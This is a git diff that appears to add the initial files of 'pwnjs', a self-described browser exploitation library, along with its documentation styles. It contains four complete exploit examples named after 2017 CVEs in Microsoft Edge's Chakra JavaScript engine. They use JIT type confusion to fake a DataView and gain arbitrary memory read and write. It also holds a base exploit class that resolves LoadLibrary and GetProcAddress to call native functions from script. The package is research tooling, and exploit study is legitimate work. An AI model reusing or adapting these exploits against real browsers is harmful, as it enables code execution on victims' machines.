0,c=b.firstChild;c;c=c.nextSibling)var i=c.nodeType,o=i===1?o?b:c:i===3?N.test(c.nodeValue)?b:o:o;b=(f=o===b?void 0:o)&&"CODE"===f.tagName}b&&(k=f.className.match(g));k&&(k=k[1]);b=!1;for(o=n.parentNode;o;o=o.parentNode)if((o.tagName==="pre"||o.tagName==="code"||o.tagName==="xmp")&&o.className&&o.className.indexOf("prettyprint")>=0){b=!0;break}b||((b=(b=n.className.match(/\blinenums\b(?::(\d+))?/))?b[1]&&b[1].length?+b[1]:!0:!1)&&D(n,b),d={g:k,h:n,i:b},E(d))}}p ul { + padding: 0 10px; +} + +nav > ul > li > a { + color: #606; +} + +nav ul ul { + margin-bottom: 10px +} + +nav ul ul + ul { + margin-top: -10px; +} + +nav ul ul a { + color: hsl(207, 1%, 60%); + border-left: 1px solid hsl(207, 10%, 86%); +} + +nav ul ul a, +nav ul ul a:active { + padding-left: 20px +} + +nav h2 { + font-size: 12px; + margin: 0; + padding: 0; +} + +nav > h2 > a { + display: block; + margin: 10px 0 -10px; + color: #606 !important; +} + +footer { + color: hsl(0, 0%, 28%); + margin-left: 250px; + display: block; + padding: 15px; + font-style: italic; + font-size: 90%; +} + +.ancestors { + color: #999 +} + +.ancestors a { + color: #999 !important; +} + +.clear { + clear: both +} + +.important { + font-weight: bold; + color: #950B02; +} + +.yes-def { + text-indent: -1000px +} + +.type-signature { + color: #CA79CA +} + +.type-signature:last-child { + color: #eee; +} + +.name, .signature { + font-family: Consolas, Monaco, 'Andale Mono', monospace +} + +.signature { + color: #fc83ff; +} + +.details { + margin-top: 6px; + border-left: 2px solid #DDD; + line-height: 20px; + font-size: 14px; +} + +.details dt { + width: 120px; + float: left; + padding-left: 10px; +} + +.details dd { + margin-left: 70px; + margin-top: 6px; + margin-bottom: 6px; +} + +.details ul { + margin: 0 +} + +.details ul { + list-style-type: none +} + +.details pre.prettyprint { + margin: 0 +} + +.details .object-value { + padding-top: 0 +} + +.description { + margin-bottom: 1em; + margin-top: 1em; +} + +.code-caption { + font-style: italic; + font-size: 107%; + margin: 0; +} + +.prettyprint { + font-size: 14px; + overflow: auto; +} + +.prettyprint.source { + width: inherit; + line-height: 18px; + display: block; + background-color: #0d152a; + color: #aeaeae; +} + +.prettyprint code { + line-height: 18px; + display: block; + background-color: #0d152a; + color: #4D4E53; +} + +.prettyprint > code { + padding: 15px; +} + +.prettyprint .linenums code { + padding: 0 15px +} + +.prettyprint .linenums li:first-of-type code { + padding-top: 15px +} + +.prettyprint code span.line { + display: inline-block +} + +.prettyprint.linenums { + padding-left: 70px; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.prettyprint.linenums ol { + padding-left: 0 +} + +.prettyprint.linenums li { + border-left: 3px #34446B solid; +} + +.prettyprint.linenums li.selected, .prettyprint.linenums li.selected * { + background-color: #34446B; +} + +.prettyprint.linenums li * { + -webkit-user-select: text; + -moz-user-select: text; + -ms-user-select: text; + user-select: text; +} + +.params, .props { + border-spacing: 0; + border: 1px solid #ddd; + border-collapse: collapse; + border-radius: 3px; + box-shadow: 0 1px 3px rgba(0,0,0,0.1); + width: 100%; + font-size: 14px; + margin: 1em 0; +} + +.params .type { + white-space: nowrap; +} + +.params code { + white-space: pre; +} + +.params td, .params .name, .props .name, .name code { + color: #4D4E53; + font-family: Consolas, Monaco, 'Andale Mono', monospace; + font-size: 100%; +} + +.params td, .params th, .props td, .props th { + margin: 0px; + text-align: left; + vertical-align: top; + padding: 10px; + display: table-cell; +} + +.params td { + border-top: 1px solid #eee +} + +.params thead tr, .props thead tr { + background-color: #fff; + font-weight: bold; +} + +.params .params thead tr, .props .props thead tr { + background-color: #fff; + font-weight: bold; +} + +.params td.description > p:first-child, .props td.description > p:first-child { + margin-top: 0; + padding-top: 0; +} + +.params td.description > p:last-child, .props td.description > p:last-child { + margin-bottom: 0; + padding-bottom: 0; +} + +span.param-type, .params td .param-type, .param-type dd { + color: #606; + font-family: Consolas, Monaco, 'Andale Mono', monospace +} + +.param-type dt, .param-type dd { + display: inline-block +} + +.param-type { + margin: 14px 0; +} + +.disabled { + color: #454545 +} + +/* navicon button */ +.navicon-button { + display: none; + position: relative; + padding: 2.0625rem 1.5rem; + transition: 0.25s; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + opacity: .8; +} +.navicon-button .navicon:before, .navicon-button .navicon:after { + transition: 0.25s; +} +.navicon-button:hover { + transition: 0.5s; + opacity: 1; +} +.navicon-button:hover .navicon:before, .navicon-button:hover .navicon:after { + transition: 0.25s; +} +.navicon-button:hover .navicon:before { + top: .825rem; +} +.navicon-button:hover .navicon:after { + top: -.825rem; +} + +/* navicon */ +.navicon { + position: relative; + width: 2.5em; + height: .3125rem; + background: #000; + transition: 0.3s; + border-radius: 2.5rem; +} +.navicon:before, .navicon:after { + display: block; + content: ""; + height: .3125rem; + width: 2.5rem; + background: #000; + position: absolute; + z-index: -1; + transition: 0.3s 0.25s; + border-radius: 1rem; +} +.navicon:before { + top: .625rem; +} +.navicon:after { + top: -.625rem; +} + +/* open */ +.nav-trigger:checked + label:not(.steps) .navicon:before, +.nav-trigger:checked + label:not(.steps) .navicon:after { + top: 0 !important; +} + +.nav-trigger:checked + label .navicon:before, +.nav-trigger:checked + label .navicon:after { + transition: 0.5s; +} + +/* Minus */ +.nav-trigger:checked + label { + -webkit-transform: scale(0.75); + transform: scale(0.75); +} + +/* × and + */ +.nav-trigger:checked + label.plus .navicon, +.nav-trigger:checked + label.x .navicon { + background: transparent; +} + +.nav-trigger:checked + label.plus .navicon:before, +.nav-trigger:checked + label.x .navicon:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); + background: #FFF; +} + +.nav-trigger:checked + label.plus .navicon:after, +.nav-trigger:checked + label.x .navicon:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); + background: #FFF; +} + +.nav-trigger:checked + label.plus { + -webkit-transform: scale(0.75) rotate(45deg); + transform: scale(0.75) rotate(45deg); +} + +.nav-trigger:checked ~ nav { + left: 0 !important; +} + +.nav-trigger:checked ~ .overlay { + display: block; +} + +.nav-trigger { + position: fixed; + top: 0; + clip: rect(0, 0, 0, 0); +} + +.overlay { + display: none; + position: fixed; + top: 0; + bottom: 0; + left: 0; + right: 0; + width: 100%; + height: 100%; + background: hsla(0, 0%, 0%, 0.5); + z-index: 1; +} + +@media only screen and (min-width: 320px) and (max-width: 680px) { + body { + overflow-x: hidden; + } + + nav { + background: #FFF; + width: 250px; + height: 100%; + position: fixed; + top: 0; + right: 0; + bottom: 0; + left: -250px; + z-index: 3; + padding: 0 10px; + transition: left 0.2s; + } + + .navicon-button { + display: inline-block; + position: fixed; + top: 1.5em; + right: 0; + z-index: 2; + } + + #main { + width: 100%; + min-width: 360px; + } + + #main h1.page-title { + margin: 1em 0; + } + + #main section { + padding: 0; + } + + footer { + margin-left: 0; + } +} + +/** Add a '#' to static members */ +[data-type="member"] a::before { + content: '#'; + display: inline-block; + margin-left: -14px; + margin-right: 5px; +} diff --git a/docs/styles/prettify.css b/docs/styles/prettify.css new file mode 100644 index 0000000..629bde5 --- /dev/null +++ b/docs/styles/prettify.css @@ -0,0 +1,79 @@ +.pln { + color: #ddd; +} + +/* string content */ +.str { + color: #61ce3c; +} + +/* a keyword */ +.kwd { + color: #fbde2d; +} + +/* a comment */ +.com { + color: #aeaeae; +} + +/* a type name */ +.typ { + color: #8da6ce; +} + +/* a literal value */ +.lit { + color: #fbde2d; +} + +/* punctuation */ +.pun { + color: #ddd; +} + +/* lisp open bracket */ +.opn { + color: #000000; +} + +/* lisp close bracket */ +.clo { + color: #000000; +} + +/* a markup tag name */ +.tag { + color: #8da6ce; +} + +/* a markup attribute name */ +.atn { + color: #fbde2d; +} + +/* a markup attribute value */ +.atv { + color: #ddd; +} + +/* a declaration */ +.dec { + color: #EF5050; +} + +/* a variable name */ +.var { + color: #c82829; +} + +/* a function name */ +.fun { + color: #4271ae; +} + +/* Specify class=linenums on a pre to get line numbering */ +ol.linenums { + margin-top: 0; + margin-bottom: 0; +} diff --git a/examples/CVE-2017-0071.js b/examples/CVE-2017-0071.js new file mode 100644 index 0000000..c53dfa4 --- /dev/null +++ b/examples/CVE-2017-0071.js @@ -0,0 +1,88 @@ +// IsDetached offset changes between major versions of Edge. +// Windows 10 1607: 0x3C +// Windows 10 1703: 0x20 +var Exploit = (function() { + var ChakraExploit = pwnjs.ChakraExploit, + Integer = pwnjs.Integer, + getInt8 = DataView.prototype.getInt8, + getInt16 = DataView.prototype.getInt16, + getInt32 = DataView.prototype.getInt32, + setInt8 = DataView.prototype.setInt8, + setInt16 = DataView.prototype.setInt16, + setInt32 = DataView.prototype.setInt32; + + function Exploit() { + ChakraExploit.call(this); + + var array_addr; + var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + var arr = [1.1, 2.2]; + var b = new Uint32Array(100); + var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); + function opt(b, f, arr) { + arr[0] = 1.1; + b[0] = f; + + // read object address + f64[0] = arr[0]; + var base_lo = i32[0], base_hi = i32[1]; + + // corrupt element to point to fake_object data + i32[0] = base_lo + 0x58; + arr[0] = f64[0]; + + // Construct our fake DataView + // vtable + fake_object[0] = 0; fake_object[1] = 0; + // Type* + fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; + // (TypeId for fake Type object) + fake_object[4] = 56; fake_object[5] = 0; + // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) + fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; + // Buffer size + fake_object[8] = 0x200; fake_object[9] = 0; + // ArrayBuffer pointer, +0x3C IsDetached + fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; + // Buffer address + fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; + + array_addr = new Integer(base_lo, base_hi, true); + } + for (var i = 0; i < 0x10000; i++) { + opt(b, 2, arr); + } + opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); + + this.dv = arr[0]; + this.fake_object = fake_object; + this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); + } + Exploit.prototype = Object.create(ChakraExploit.prototype); + Exploit.prototype.constructor = Exploit; + Exploit.prototype.read = function (address, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); + case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); + case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); + case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); + } + } + Exploit.prototype.write = function (address, value, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return setInt8.call(this.dv, 0, value.low|0, true); + case 16: return setInt16.call(this.dv, 0, value.low|0, true); + case 32: return setInt32.call(this.dv, 0, value.low|0, true); + case 64: + setInt32.call(this.dv, 0, value.low|0, true); + setInt32.call(this.dv, 4, value.high|0, true); + } + } + return Exploit; +})(); diff --git a/examples/CVE-2017-0266.js b/examples/CVE-2017-0266.js new file mode 100644 index 0000000..4a94eee --- /dev/null +++ b/examples/CVE-2017-0266.js @@ -0,0 +1,88 @@ +// IsDetached offset changes between major versions of Edge. +// Windows 10 1607: 0x3C +// Windows 10 1703: 0x20 +var Exploit = (function() { + var ChakraExploit = pwnjs.ChakraExploit, + Integer = pwnjs.Integer, + getInt8 = DataView.prototype.getInt8, + getInt16 = DataView.prototype.getInt16, + getInt32 = DataView.prototype.getInt32, + setInt8 = DataView.prototype.setInt8, + setInt16 = DataView.prototype.setInt16, + setInt32 = DataView.prototype.setInt32; + + function Exploit() { + ChakraExploit.call(this); + + var array_addr; + var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + var arr = [1.1, 2.2]; + var b = new Float32Array(100); + var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); + function opt(b, f, arr) { + arr[0] = 1.1; + b[0] = f; + + // read object address + f64[0] = arr[0]; + var base_lo = i32[0], base_hi = i32[1]; + + // corrupt element to point to fake_object data + i32[0] = base_lo + 0x58; + arr[0] = f64[0]; + + // Construct our fake DataView + // vtable + fake_object[0] = 0; fake_object[1] = 0; + // Type* + fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; + // (TypeId for fake Type object) + fake_object[4] = 56; fake_object[5] = 0; + // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) + fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; + // Buffer size + fake_object[8] = 0x200; fake_object[9] = 0; + // ArrayBuffer pointer, +0x3C IsDetached + fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; + // Buffer address + fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; + + array_addr = new Integer(base_lo, base_hi, true); + } + for (var i = 0; i < 0x10000; i++) { + opt(b, 2, arr); + } + opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); + + this.dv = arr[0]; + this.fake_object = fake_object; + this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); + } + Exploit.prototype = Object.create(ChakraExploit.prototype); + Exploit.prototype.constructor = Exploit; + Exploit.prototype.read = function (address, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); + case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); + case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); + case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); + } + } + Exploit.prototype.write = function (address, value, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return setInt8.call(this.dv, 0, value.low|0, true); + case 16: return setInt16.call(this.dv, 0, value.low|0, true); + case 32: return setInt32.call(this.dv, 0, value.low|0, true); + case 64: + setInt32.call(this.dv, 0, value.low|0, true); + setInt32.call(this.dv, 4, value.high|0, true); + } + } + return Exploit; +})(); diff --git a/examples/CVE-2017-11802.js b/examples/CVE-2017-11802.js new file mode 100644 index 0000000..437daec --- /dev/null +++ b/examples/CVE-2017-11802.js @@ -0,0 +1,87 @@ +// IsDetached offset changes between major versions of Edge. +// Windows 10 1607: 0x3C +// Windows 10 1703: 0x20 +var Exploit = (function() { + var ChakraExploit = pwnjs.ChakraExploit, + Integer = pwnjs.Integer, + getInt8 = DataView.prototype.getInt8, + getInt16 = DataView.prototype.getInt16, + getInt32 = DataView.prototype.getInt32, + setInt8 = DataView.prototype.setInt8, + setInt16 = DataView.prototype.setInt16, + setInt32 = DataView.prototype.setInt32; + + function Exploit() { + ChakraExploit.call(this); + + var array_addr; + var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + var arr = [1.1, 2.2]; + var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); + function opt(f, arr) { + arr[0] = 1.1; + arr[1] = 'a'.replace('a', f)|0; + + // read object address + f64[0] = arr[0]; + var base_lo = i32[0], base_hi = i32[1]; + + // corrupt element to point to fake_object data + i32[0] = base_lo + 0x58; + arr[0] = f64[0]; + + // Construct our fake DataView + // vtable + fake_object[0] = 0; fake_object[1] = 0; + // Type* + fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; + // (TypeId for fake Type object) + fake_object[4] = 56; fake_object[5] = 0; + // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) + fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; + // Buffer size + fake_object[8] = 0x200; fake_object[9] = 0; + // ArrayBuffer pointer, +0x3C IsDetached + fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; + // Buffer address + fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; + + array_addr = new Integer(base_lo, base_hi, true); + } + for (var i = 0; i < 0x10000; i++) { + opt(() => 2, arr); + } + opt(() => { arr[0] = fake_object; }, arr); + + this.dv = arr[0]; + this.fake_object = fake_object; + this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); + } + Exploit.prototype = Object.create(ChakraExploit.prototype); + Exploit.prototype.constructor = Exploit; + Exploit.prototype.read = function (address, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); + case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); + case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); + case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); + } + } + Exploit.prototype.write = function (address, value, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return setInt8.call(this.dv, 0, value.low|0, true); + case 16: return setInt16.call(this.dv, 0, value.low|0, true); + case 32: return setInt32.call(this.dv, 0, value.low|0, true); + case 64: + setInt32.call(this.dv, 0, value.low|0, true); + setInt32.call(this.dv, 4, value.high|0, true); + } + } + return Exploit; +})(); diff --git a/examples/CVE-2017-8548.js b/examples/CVE-2017-8548.js new file mode 100644 index 0000000..a302a66 --- /dev/null +++ b/examples/CVE-2017-8548.js @@ -0,0 +1,88 @@ +// IsDetached offset changes between major versions of Edge. +// Windows 10 1607: 0x3C +// Windows 10 1703: 0x20 +var Exploit = (function() { + var ChakraExploit = pwnjs.ChakraExploit, + Integer = pwnjs.Integer, + getInt8 = DataView.prototype.getInt8, + getInt16 = DataView.prototype.getInt16, + getInt32 = DataView.prototype.getInt32, + setInt8 = DataView.prototype.setInt8, + setInt16 = DataView.prototype.setInt16, + setInt32 = DataView.prototype.setInt32; + + function Exploit() { + ChakraExploit.call(this); + + var array_addr; + var fake_object = new Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); + var arr = [1.1, 2.2]; + var b = new Float32Array(0); + var f64 = new Float64Array(1), i32 = new Int32Array(f64.buffer); + function opt(b, f, arr) { + arr[0] = 1.1; + b[0] = f; + + // read object address + f64[0] = arr[0]; + var base_lo = i32[0], base_hi = i32[1]; + + // corrupt element to point to fake_object data + i32[0] = base_lo + 0x58; + arr[0] = f64[0]; + + // Construct our fake DataView + // vtable + fake_object[0] = 0; fake_object[1] = 0; + // Type* + fake_object[2] = base_lo + 0x68; fake_object[3] = base_hi; + // (TypeId for fake Type object) + fake_object[4] = 56; fake_object[5] = 0; + // (JavascriptLibrary* for fake Type object, +0x430 must be valid memory) + fake_object[6] = base_lo + 0x58 - 0x430; fake_object[7] = base_hi; + // Buffer size + fake_object[8] = 0x200; fake_object[9] = 0; + // ArrayBuffer pointer, +0x3C IsDetached + fake_object[10] = base_lo + 0x58 - 0x3C; fake_object[11] = base_hi; + // Buffer address + fake_object[14] = base_lo + 0x58; fake_object[15] = base_hi; + + array_addr = new Integer(base_lo, base_hi, true); + } + for (var i = 0; i < 0x10000; i++) { + opt(b, 2, arr); + } + opt(b, { valueOf: () => { arr[0] = fake_object; } }, arr); + + this.dv = arr[0]; + this.fake_object = fake_object; + this.initChakra(this.Uint64Ptr.cast(array_addr)[0]); + } + Exploit.prototype = Object.create(ChakraExploit.prototype); + Exploit.prototype.constructor = Exploit; + Exploit.prototype.read = function (address, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return new Integer(getInt8.call(this.dv, 0, true), 0, true); + case 16: return new Integer(getInt16.call(this.dv, 0, true), 0, true); + case 32: return new Integer(getInt32.call(this.dv, 0, true), 0, true); + case 64: return new Integer(getInt32.call(this.dv, 0, true), getInt32.call(this.dv, 4, true), true); + } + } + Exploit.prototype.write = function (address, value, size) { + this.fake_object[14] = address.low | 0; + this.fake_object[15] = address.high | 0; + + switch (size) { + case 8: return setInt8.call(this.dv, 0, value.low|0, true); + case 16: return setInt16.call(this.dv, 0, value.low|0, true); + case 32: return setInt32.call(this.dv, 0, value.low|0, true); + case 64: + setInt32.call(this.dv, 0, value.low|0, true); + setInt32.call(this.dv, 4, value.high|0, true); + } + } + return Exploit; +})(); diff --git a/examples/index.html b/examples/index.html new file mode 100644 index 0000000..3b40788 --- /dev/null +++ b/examples/index.html @@ -0,0 +1,25 @@ + + + +

+
+        
+        
+        
+        
+        
+        
+    
+
diff --git a/examples/thread.js b/examples/thread.js
new file mode 100644
index 0000000..de996a7
--- /dev/null
+++ b/examples/thread.js
@@ -0,0 +1,6 @@
+importScripts('../dist/pwn.js');
+
+with (new pwnjs.ChakraThreadExploit()) {
+    var malloc = importFunction('msvcrt.dll', 'malloc', Uint8Ptr);
+    postMessage(malloc(8).toString());
+}
diff --git a/jsdoc.json b/jsdoc.json
new file mode 100644
index 0000000..01e8fa5
--- /dev/null
+++ b/jsdoc.json
@@ -0,0 +1,12 @@
+{
+    "docdash": {
+        "sort": true
+    },
+    "opts": {
+        "destination": "docs/",
+        "template": "node_modules/docdash"
+    },
+    "source": {
+        "include": "src"
+    }
+}
diff --git a/package.json b/package.json
new file mode 100644
index 0000000..0d2a201
--- /dev/null
+++ b/package.json
@@ -0,0 +1,37 @@
+{
+  "name": "pwnjs",
+  "version": "1.0.0",
+  "description": "Browser exploitation library.",
+  "main": "src/index.js",
+  "directories": {
+    "doc": "docs",
+    "example": "examples"
+  },
+  "dependencies": {},
+  "devDependencies": {
+    "docdash": "^0.4.0",
+    "jsdoc": "^3.5.5",
+    "patch-package": "^3.6.0",
+    "serve": "^6.4.1",
+    "uglifyjs-webpack-plugin": "^1.0.1",
+    "webpack": "^3.8.1",
+    "webpack-merge": "^4.1.1"
+  },
+  "scripts": {
+    "build": "webpack --config webpack.dev.js && webpack --config webpack.prod.js",
+    "jsdoc": "jsdoc -c jsdoc.json -R README.md",
+    "prepare": "patch-package",
+    "start": "webpack --config webpack.dev.js && serve",
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/theori-io/pwnjs.git"
+  },
+  "author": "Theori",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/theori-io/pwnjs/issues"
+  },
+  "homepage": "https://github.com/theori-io/pwnjs#readme"
+}
diff --git a/patches/docdash+0.4.0.patch b/patches/docdash+0.4.0.patch
new file mode 100644
index 0000000..ceabae9
--- /dev/null
+++ b/patches/docdash+0.4.0.patch
@@ -0,0 +1,12 @@
+patch-package
+--- a/node_modules/docdash/publish.js
++++ b/node_modules/docdash/publish.js
+@@ -302,7 +302,7 @@ function buildMemberNav(items, itemHeading, itemsSeen, linktoFn) {
+                 itemsNav += '
  • ' + linktoFn('', item.name); + itemsNav += '
  • '; + } else if ( !hasOwnProp.call(itemsSeen, item.longname) ) { +- itemsNav += '
  • ' + linktoFn(item.longname, item.name.replace(/^module:/, '')); ++ itemsNav += '
  • ' + linktoFn(item.longname, item.longname); + + if (docdash.static && members.find(function (m) { return m.scope === 'static'; } )) { + itemsNav += "
      "; diff --git a/src/baseexploit.js b/src/baseexploit.js new file mode 100644 index 0000000..417ce37 --- /dev/null +++ b/src/baseexploit.js @@ -0,0 +1,706 @@ +import Integer from "integer"; + +/** + * Constructs a base exploit that provides useful data types and utility functions. + * + * @class A base exploit class for browser exploit development. + * @param {number} bitness The bitness of the target process. + * @constructor + */ +function BaseExploit(bitness) { + // in bytes + var DEFAULT_ALIGNMENT = bitness / 8; + var POINTER_SIZE = bitness / 8; + + var libraries = {}; + var strings = []; + var exploit = this; + + function cString(s) { + var ss = ''; + for (var i = 0; i < s.length / 2 + 2; i++) { + ss += String.fromCharCode((s.charCodeAt(i*2)|0) + ((s.charCodeAt(i*2+1)|0) << 8)); + } + return wString(ss); + } + + function wString(s) { + strings.push(s); + parseInt(s); + return exploit.addressOfString(s); + } + + function getProcAddress(library, procName) { + var addr = exploit.call(toIntMax(exploit.GetProcAddress), toIntMax(library), toIntMax(cString(procName))); + if (addr == 0) { + throw 'missing import ' + procName; + } + return addr; + } + + function loadLibrary(dllName) { + if (exploit.LoadLibraryA !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryA), toIntMax(cString(dllName))); + } else if (exploit.LoadLibraryW !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryW), toIntMax(wString(dllName))); + } else if (exploit.LoadLibraryExA !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryExA), toIntMax(cString(dllName)), toIntMax(0), toIntMax(0)); + } else if (exploit.LoadLibraryExW !== undefined) { + return exploit.call(toIntMax(exploit.LoadLibraryExW), toIntMax(wString(dllName)), toIntMax(0), toIntMax(0)); + } else { + throw 'missing load library address'; + } + } + + /** + * Loads a DLL (if not loaded already) and finds the given export. + * @instance + * @memberof BaseExploit + * @param {string} dllName The name of DLL to find the function from. + * @param {string} funcName The name of function to import. + * @param {Type} returnType The type of the function return. + * @returns {function} + */ + function importFunction(dllName, funcName, returnType) { + returnType = returnType || null; + if (libraries[dllName] === undefined) { + libraries[dllName] = loadLibrary(dllName); + } + return new FunctionType(returnType).cast(getProcAddress(libraries[dllName], funcName)); + } + + var pointerProxyHandler = { + get: function(target, property) { + try { + var idx = parseInt(property); + } catch (e) { + return target[property]; + } + if (isNaN(idx)) { + return target[property]; + } else { + return target.add(idx).load(); + } + }, + set: function(target, property, value) { + try { + var idx = parseInt(property); + } catch (e) { + target[property] = value; + } + if (isNaN(idx)) { + target[property] = value; + } else { + target.add(idx).store(value); + } + }, + }; + + /** + * Constructs a pointer to a certain type. + * + * @param {Type} base type + * @param {Integer} address + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function Pointer(type, address) { + this.type = type; + this.address = address; + return new Proxy(this, pointerProxyHandler); + } + Pointer.prototype = {}; + /** + * Returns a new pointer with result of pointer arithmetic. + * + * @param {Integer|number} x addend + * @returns {Pointer} + */ + Pointer.prototype.add = function (x) { + return new Pointer(this.type, this.address.add(toIntMax(x).mul(this.type.size))); + }; + /** + * Returns the value stored at the pointer address. Alternatively, array syntax is supported. + * + * @returns {Integer|Pointer} + */ + Pointer.prototype.load = function () { + return this.type.load(this.address); + }; + /** + * Stores the value at the pointer address. Alternatively, array syntax is supported. + * + * @param {Integer|Pointer} value + */ + Pointer.prototype.store = function (x) { + return this.type.store(this.address, x); + }; + /** + * Converts the Pointer to a hexadecimal string. + * + * @returns {string} + */ + Pointer.prototype.toString = function () { + return '&0x' + this.address.toString(16); + }; + /** + * Returns whether address is zero. + * + * @returns {boolean} + */ + Pointer.prototype.isNull = function () { + return this.address.eq(0); + }; + + /** Constructs a pointer to a C string. + * + * @param {string} s A string to make into a C string. + * @instance + * @memberof BaseExploit + * @augments Pointer + * @class + * @constructor + */ + function CString(s) { + return Pointer.call(this, Uint8, cString(s)); + } + CString.prototype = Object.create(Pointer.prototype); + CString.prototype.constructor = CString; + + /** + * Constructs a pointer to a UTF-16 string. + * @param {string} s A string to make into a UTF-16 string. + * @instance + * @memberof BaseExploit + * @augments Pointer + * @class + * @constructor + */ + function WString(s) { + return Pointer.call(this, Uint16, wString(s)); + } + WString.prototype = Object.create(Pointer.prototype); + WString.prototype.constructor = WString; + + /** + * Type base class. Internal. + * @instance + * @memberof BaseExploit + * @class + * @constructor + */ + function Type() { + } + Type.prototype = { + /** + * Constructs a PointerType of this type. + * + * @returns {PointerType} + */ + get Ptr () { + if (!this._ptr) { + this._ptr = new PointerType(this); + } + return this._ptr; + } + }; + Type.prototype.constructor = Type; + + /** + * Constructs a pointer type. + * @param {Type} base Base type + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function PointerType(base) { + Type.call(this); + this.baseType = base; + this.alignment = POINTER_SIZE; + this.size = POINTER_SIZE; + } + PointerType.prototype = Object.create(Type.prototype); + PointerType.prototype.constructor = PointerType; + /** + * Create a pointer to the given address with our base type. + * + * @param {Integer|Pointer} x Memory address + * @returns {Pointer} + */ + PointerType.prototype.cast = function (x) { + x = toIntMax(x); + if (this.baseType instanceof ArrayType) { + return new Pointer(this.baseType.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8)); + } else if (this.baseType instanceof StructType) { + return new StructPointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8)); + } else { + return new Pointer(this.baseType, new Integer(x.low, x.high, true, POINTER_SIZE * 8)); + } + } + PointerType.prototype.load = function (address) { + return this.cast(exploit.read(address, POINTER_SIZE * 8)); + } + PointerType.prototype.store = function (address, x) { + return exploit.write(address, toIntMax(x), POINTER_SIZE * 8); + } + + /** + * Constructs a function pointer type. + * @param {Type} returnType Type of return value + * @instance + * @memberof BaseExploit + * @augments Type + * @class + * @constructor + */ + function FunctionType(returnType) { + Type.call(this); + this.returnType = returnType; + } + FunctionType.prototype = Object.create(Type.prototype); + FunctionType.prototype.constructor = FunctionType; + /** + * Create a function pointer with the given address. Can be called like a Javascript function. + * + * @param {Integer|Pointer} x Memory address + * @returns {function} + */ + FunctionType.prototype.cast = function (ptr) { + var returnType = this.returnType || null; + var f = function(...args) { + var result = exploit.call(ptr, ...args); + if (returnType) { + result = returnType.cast(result); + } + return result; + }; + f.address = ptr; + f.toString = function() { + return '&0x' + this.address.toString(16); + }; + return f; + } + + var structPointerProxyHandler = { + get: function(target, property) { + var offset = target.type.offsets[property]; + if (offset !== undefined) { + var t = target.type.types[property]; + var p = new PointerType(t).cast(target.address.add(offset)); + if (t instanceof ArrayType || t instanceof StructType) { + return p; + } + return p.load(); + } else { + try { + var idx = parseInt(property); + } catch (e) { + return target[property]; + } + if (isNaN(idx)) { + return target[property]; 